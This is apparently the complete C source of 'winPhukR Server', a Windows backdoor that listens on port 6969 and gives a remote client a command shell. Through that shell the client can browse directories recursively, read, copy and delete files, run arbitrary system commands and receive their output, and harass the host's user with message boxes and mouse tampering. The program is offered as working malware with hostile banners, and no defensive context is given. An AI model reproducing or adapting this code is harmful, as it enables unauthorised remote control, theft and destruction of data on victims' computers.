// Note: F*** the people.  -int-Shred-R
// Light a candle for the sinners...set the world on fire.
//#define DEBUG
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <string.h>

char versionstring[]="|-  winPhukR Server v0.01 Beta for Win95/98/NT";

unsigned short nPort=6969;

int con=0;

extern char ascii[55][78];

#ifdef DEBUG
  #define PRINTERROR(x) MessageBox(0,x,x,0);
#endif

SOCKET	listenSocket;
SOCKET	remoteSocket;
SOCKADDR_IN saServer;

#define renderbuffersize 100
char *renderbuffer; //[renderbuffersize];
#define COMBUFSIZE 110
char *combuf; //[COMBUFSIZE+2];
#define indentbuffersize 20
char *indentbuffer; //[indentbuffersize]={' '};
#define currentdirectorysize 100
char *currentdirectory;  //[100];

void AllocBuffers(void)
  {
  if ((combuf=(char*)malloc(COMBUFSIZE))==NULL)
    exit(1);
  if ((renderbuffer=(char*)malloc(renderbuffersize))==NULL)
    exit(1);
  if ((indentbuffer=(char*)malloc(indentbuffersize))==NULL)
    exit(1);
  if ((currentdirectory=(char*)malloc(currentdirectorysize))==NULL)
    exit(1);
  memset(indentbuffer, ' ', indentbuffersize);
  }

void UnAllocBuffers(void)
  {
  free(combuf);
  free(renderbuffer);
  free(indentbuffer);
  free(currentdirectory);
  }

char szBuf[3];

int comloc;
char *spacepnt;
char *breakspace;

int localecho=1;
int CommandDone=0;
int indent=0;

int lastindent=1;

void WaitSocket(void)
  {
	int nRet;
	listenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if (listenSocket == INVALID_SOCKET)
	  {
//	  PRINTERROR("socket()");
	  return;
	  }
	saServer.sin_family = AF_INET;
	saServer.sin_addr.s_addr = INADDR_ANY;	// Let WinSock supply address
	saServer.sin_port = htons(nPort);
	nRet = bind(listenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
 	if (nRet == SOCKET_ERROR)
	  {
 //	  PRINTERROR("bind()");
	  closesocket(listenSocket);
	  return;
	  }
	nRet = listen(listenSocket, SOMAXCONN);
	if (nRet == SOCKET_ERROR)
	  {
 //	  PRINTERROR("listen()");
	  closesocket(listenSocket);
	  return;
	  }
	remoteSocket = accept(listenSocket, NULL,	NULL);
	if (remoteSocket == INVALID_SOCKET)
	  {
//	  PRINTERROR("accept()");
	  closesocket(listenSocket);
	  return;
	  }
  con=1;
  return;
  }


void ClientNewLine(void)
  {  send(remoteSocket, "\n\r", 2, 0);  }

void WriteLineToClient(char *s)
  {
  send(remoteSocket, s, strlen(s),0);
  ClientNewLine();
  }

void WriteToClientWithReturn(char *s)
  {
  strcat(s, "\r");
  send(remoteSocket, s, strlen(s),0);
  }

void WriteToClient(char *s)
  {
  send(remoteSocket, s, strlen(s),0);
  }

/*unsigned long FileSize(FILE *f)
  {
  unsigned long result;
  fseek(f, 0, SEEK_END);
  result=ftell(f);
  rewind(f);
  return result;
  }*/

void SendTextFile(char *s)
  {
  FILE *f;
  f=fopen(s, "rb");
  if (!f)
    {
    WriteLineToClient("ERROR: File not found.\n");
    }
  else
    {
    while (!feof(f))
      {
      fgets(renderbuffer, renderbuffersize,  f);
      renderbuffer[strlen(renderbuffer)-1]='\0';
      WriteLineToClient(renderbuffer);
      }
    fclose(f);
    }
  }


void UpdateCurrentDirectory(void)
  {
  GetCurrentDirectory(100,currentdirectory);
  }


void CommandExit(void)
  {
  CommandDone=1;
  }

void CommandViewText(void)
  {
  SendTextFile(spacepnt);
  }

void CommandMessageBox(void)
  {
  MessageBox(0, spacepnt, "System Message", 0);
  }

void CommandEcho(void)
  {
  localecho++;
  localecho%=2;
  if (localecho)
    WriteLineToClient("Echo is on.\n");
  else
    WriteLineToClient("Echo is off.\n");
  }

void CommandAbout(void)
  {
  int n;
  for (n=0; n<55; n++)
    {
    WriteLineToClient(ascii[n]);
    }
  }

char *Indent(int n)
  {
  if (n!=lastindent)
    {
    indentbuffer[lastindent]=' ';
    if ((n < indentbuffersize) && (n >=0))
      {
      indentbuffer[n]='\0';
      lastindent=n;
      }
    }
  return indentbuffer;
  }

#define fileline renderbuffer /* alias for the renderbuffer */
void DoDirectory(char *mask, int recurse)
  {
  HANDLE findhandle;
  WIN32_FIND_DATA fd;
  UpdateCurrentDirectory();
  sprintf(fileline, "%s{Directory: %s\\%s--",Indent(indent),currentdirectory, mask);
  WriteLineToClient(fileline);
  findhandle=FindFirstFile(mask, &fd);
  if (findhandle!=INVALID_HANDLE_VALUE)
    do
      {
      sprintf(fileline, "%s%s (%s) %lu %s",Indent(indent),fd.cFileName,fd.cAlternateFileName,fd.nFileSizeLow, fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ? "[D]" : "\0");
      WriteLineToClient(fileline);
      }
    while (FindNextFile(findhandle, &fd));
  FindClose(findhandle);
  if (!recurse) return;

  findhandle=FindFirstFile("*.*", &fd);
  if (findhandle!=INVALID_HANDLE_VALUE)
    do
      {
      if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        if (recurse)
          {
          if ( (strcmp(fd.cAlternateFileName, ".")) && (strcmp(fd.cAlternateFileName, "..")) )
            if (SetCurrentDirectory(fd.cAlternateFileName))
              {
              indent+=2;
              DoDirectory(mask,1);
              indent-=2;
              SetCurrentDirectory("..");
              }
          }
      }
    while (FindNextFile(findhandle, &fd));
  FindClose(findhandle);
  sprintf(fileline,"%sDirectoryDone}",Indent(indent));
  WriteLineToClient(fileline);
  }

void CommandDirectory(void)
  {
  char mask[20]="*.*";
  if (spacepnt)
    strcpy(mask, spacepnt);
  DoDirectory(mask, 0);
  }

void CommandRecurseDirectory(void)
  {
  char mask[20]="*.*";
  if (spacepnt)
    strcpy(mask, spacepnt);
  DoDirectory(mask,1);
  UpdateCurrentDirectory();
  }

void DoDirChange(char *s)
  {
  if (strchr(s, '/'))
    {
    WriteLineToClient("Invalid directory name.");
    return;
    }
  if (!SetCurrentDirectory(spacepnt))
    {
    WriteLineToClient("Unable to change to that directory.");
    return;
    }
  UpdateCurrentDirectory();
  }

void CommandChangeDir(void)
  {
  DoDirChange(spacepnt);
  }

void CommandHelp(void);

void CommandDelete(void)
  {
#ifndef DEBUG
  if (!DeleteFile(spacepnt))
    {
    WriteLineToClient("Unable to delete that file.");
    }
#endif
  }

void CommandCopy(void)
  {
#ifndef DEBUG
  breakspace=strchr(spacepnt, ' '); /* find the 2nd space */
  if (!breakspace)
    {
    WriteLineToClient("Invalid syntax, retard.");
    return;
    }
  *breakspace='\0';
  breakspace++;
  if (!CopyFile(spacepnt,breakspace,FALSE))
    {
    WriteLineToClient("Unable to do the file copy.");
    }
#endif
  }

void CommandMouseSwap(void)
  {
#ifndef DEBUG
  int static x=0;
  x++;
  x%=2;
  SwapMouseButton(x);
#endif
  }

void CommandMouseDClick(void)
  {
#ifndef DEBUG
  SetDoubleClickTime(1);
#endif
  }

void CommandExec(void)
  {
  strcat(spacepnt, " > tmp");
  system(spacepnt);
  SendTextFile("tmp");
  DeleteFile("tmp");
  }

#define MAXCOMMANDS 14
struct CommandTable
  {
  char name[10];
  char description[80];
  void (*func)();
  }
  command[MAXCOMMANDS]=
  {
  {  "about",   "Displays Paincake's a.k.a. Optikal Ghost's About Screen.", CommandAbout },
  {  "shutoff", "Terminate winPhukR", CommandExit },
  {  "type",    "Display a text file. type <filename>", CommandViewText },
  {  "mbox",    "Popup a message box on the host's Win32.  mbox <message>", CommandMessageBox },
  {  "echo",    "Toggle client local echo.", CommandEcho },
  {  "dir",     "Directory listing. dir <optional mask,*.*,*.jpg,etc...>", CommandDirectory },
  {  "rdir",    "Recursive Directory listing, can be used as FIND, same params as 'dir'",CommandRecurseDirectory},
  {  "cd",      "Change directory. cd <[drive:\]directory>", CommandChangeDir },
  {  "del",     "Delete file. (EVIL?) del <filename>", CommandDelete },
  {  "copy",    "Copy file.  copy <src> <dest>", CommandCopy },
  {  "mbswap",  "Mouse Button Swap (ANNOY?)", CommandMouseSwap },
  {  "mdclick", "Mouse Double Click Impossibler. (ANNOY?)", CommandMouseDClick },
  {  "exec",    "Execute a command, system() ... stdout is sent to you after execution.",CommandExec },
  {  "help",    "This stuff, the help subsystem.", CommandHelp },
  };

void CommandHelp(void)
  {
  int n;
  WriteLineToClient("Available commands:");
  for (n=0; n<MAXCOMMANDS; n++)
    {
    sprintf(renderbuffer, "%s - %s", command[n].name, command[n].description);
    WriteLineToClient(renderbuffer);
    }
  }

int SearchCommandTable(void)
  {
  int n;
  for (n=0; n<MAXCOMMANDS; n++)
    {
    if (!strcmp(command[n].name, combuf))
      {
      command[n].func();
      return 1;
      }
    }
  return 0;
  }

void ResetComBuf(void)
  {
  comloc=0;
  memset(combuf,0,COMBUFSIZE);
  WriteToClient(currentdirectory); /* here is where we display our prompt ... */
  WriteToClient("> ");
  }

int ReceiveSocket(void)
  {
  int nRet;
  WriteLineToClient(versionstring);
  WriteLineToClient("|-    coded by the int-ShredR of [T.C.I.A. HEAVY INDUSTRIEZ]");
  WriteLineToClient("|-      Ready to shock ... next motherhater's gonna get your metal.");
  WriteLineToClient("|-  tip: type 'help' to get yourself started ...");
  UpdateCurrentDirectory();
  ResetComBuf();
  while (!CommandDone)
    {
    szBuf[0]=szBuf[1]=0;
	 nRet = recv(remoteSocket, szBuf,1,0);
    if ((nRet == SOCKET_ERROR) || (nRet==0))
	   {
		closesocket(listenSocket);
		closesocket(remoteSocket);
		return 1;
	   }
    if (szBuf[0]=='\n')  /* Command completed.  Process */
      {
      WriteToClient("\n\r"); /* new line */
      combuf[comloc-1]='\0';
      spacepnt=strchr(combuf, ' ');
      if (spacepnt)
        {
        *spacepnt='\0';
        spacepnt++;      /* put space point at the part where parameters begin */
        }
      if (!SearchCommandTable())
        {
        WriteLineToClient("Bad command or file name.");
        }
      ResetComBuf();
      }
    else  /* Append to the combuf */
      {
      if ((localecho) && (szBuf[0]!='\n'))
        {
        WriteToClient(szBuf);
        }
      if (szBuf[0]=='\b')
        {
        comloc--;
        }
      else if (comloc<COMBUFSIZE-10)
        combuf[comloc++]=szBuf[0];
      }
    }
  return 0;
  }


LRESULT CALLBACK WinProc( HWND Window, UINT Message, WPARAM wParam, LPARAM lParam ) {
	switch( Message ) {
		case WM_DESTROY:
			PostQuitMessage( 1 );
			break;
      }
	return DefWindowProc( Window, Message, wParam, lParam );
	}


int WINAPI WinMain( HINSTANCE AppInstance, HINSTANCE PrevI, LPSTR CLine, int CShow )
   {
	MSG Message;
	WSADATA SocksData;
	if (WSAStartup( MAKEWORD( 1, 1 ), &SocksData ))
  	  return NULL;
   AllocBuffers();
	while (1)
      {
      do
        {
        WaitSocket();
        }
      while (ReceiveSocket());
      break;
/*	 	ret = GetMessage( &Message, 0, 0, 0 );
		if( ret == 0 ) break;
		TranslateMessage( &Message );
		DispatchMessage( &Message );*/
		}
   closesocket(remoteSocket);
   closesocket(listenSocket);
	WSACleanup();
   UnAllocBuffers();
	return Message.wParam;
	}

char ascii[][78]={
"           #########                             ######### ",
"          ###########                           ########### ",
"         ###       ###                         ###       ### ",
"        ###         ###                       ###         ### ",
"       ###           ###         %%%         ###           ### ",
"      ###             ###      %%%%%%%      ###             ### ",
"     ###               ###   %%%%%%%%%%%   ###               ### ",
"    ###                @###@@%%%%%%%%%%%%@@###@               ### ",
"     ###               @@###@%%%%%%%%%%%%@###@@              ### ",
"      ###             @@@@@@@%%%%%%%%%%%%@@@@@@@            ### ",
"       ###           %%%%%%%%%%%%%%%%%%%%%%%%%%%           ### ",
"        ###        %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        ### ",
"         ###     %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    ###  ",
"          ###@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@###   ",
"           @###@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@###@    ",
"          @@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@    ",
"          %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    ",
"         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    ",
"        %%%%%%%|__    __|%/ __  \%|_    _|%%%%|  |%%%%%%%%%%%%%  ",
"        %%%%%%%%%%|  |%%%| |%%|_|%%%|  |%%%%%| *  |%%%%%%%%%%%%  ",
"         %%%%%%%%%|  |%%%| |%%%%%%%%|  |%%%%|  ||  |%%%%%%%%%%   ",
"          %%%%%%%%|  |%%%| |%%| |%%%|  |%%%|  |%%|  |%%%%%%%% ",
"            %%%%%%|__|%%%%\_____/%|______|%|__|%%|__|%%%%%%   ",
"             %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ",
"               %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%         &&  ",
"                 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          &&&&   ",
"                  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          &&&&&&   ",
"         *        %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%         &&&&&&&& ",
"  *            *   %%%#%%%%%%%%%%%%%%%%%%%%%%%#%%%         &&&&&&&&&&   ",
"        *  *        %%%##%%%%%%%%%%%%%%%%%%%##%%%         &&&&&  &&&&&    ",
"  *  *  [BOOM]   *   %%%###%%%%%%%%%%%%%%%###%%%         &&&&&    &&&&&   ",
"        *   *   *     %%%####%%%%%%%%%%%####%%%         &&&&&      &&&&&  ",
"      *   *   *       &%%%####%%%%@%%%%####%%%&&       &&&&&        &&&&&  ",
"        *  * *  *    &&&%%%###%%%@@@%%%###%%%&&&&     &&&&&        &&& &&&   ",
"           ######   &&&&&%%%#%%%@@@@@%%%#%%%&&&&&&   &&&&&        &&&   &&&  ",
"            &&&&&& &&&&&&&%%%%%@@@@@@@%%%%%&&&&&&&& &&&&&        &&&     &&&  ",
"             &&&&&&&&&&&&&&%%%@@@@@@@@@%%%&&&&&&&&&&&&&&        &&&       &&&",
"              &&&&&&&&&&&&&&%%@@@@@@@@@%%&&&&&&&&&&&&&&          &&&     &&& ",
"                &&&&&&&&&&&&&%%@@@@@@@%%&&&&&&&&&&&&&&            &&&   &&&  ",
"               &&&&&&&&&&&&&&&%%@@@@@%%&&&&&&&&&&&&&&&&            &&   &&   ",
"              &&&&&&&&&&&&&&&&&%%@@@%%&&&&&&&&&&&&&&&&&&            &   &     ",
"             &&&&&&&&&&&&&&&&&&&%%@%%&&&&&&&&&&&&&&&&&&&&                   ",
"            &&&&&&&&&&&&&&&&&&&&&%%%&&&&&&&&&&&&&&&&&&&&&&                 ",
"           &&&&&&&&&&&&&&&&&&&&&&&%&&&&&&&&&&&&&&&&&&&&&&&&               ",
"          &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&              ",
"         &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&             ",
"        &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&            ",
"       &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&           ",
"               ^^^He Phuct With TCIA Now Look At Him^^^                   ",
"   -={!ASCII ART DRAWN BY: Optikal Ghost a.k.a. Paincakes Of TCIA!}=-  ",
};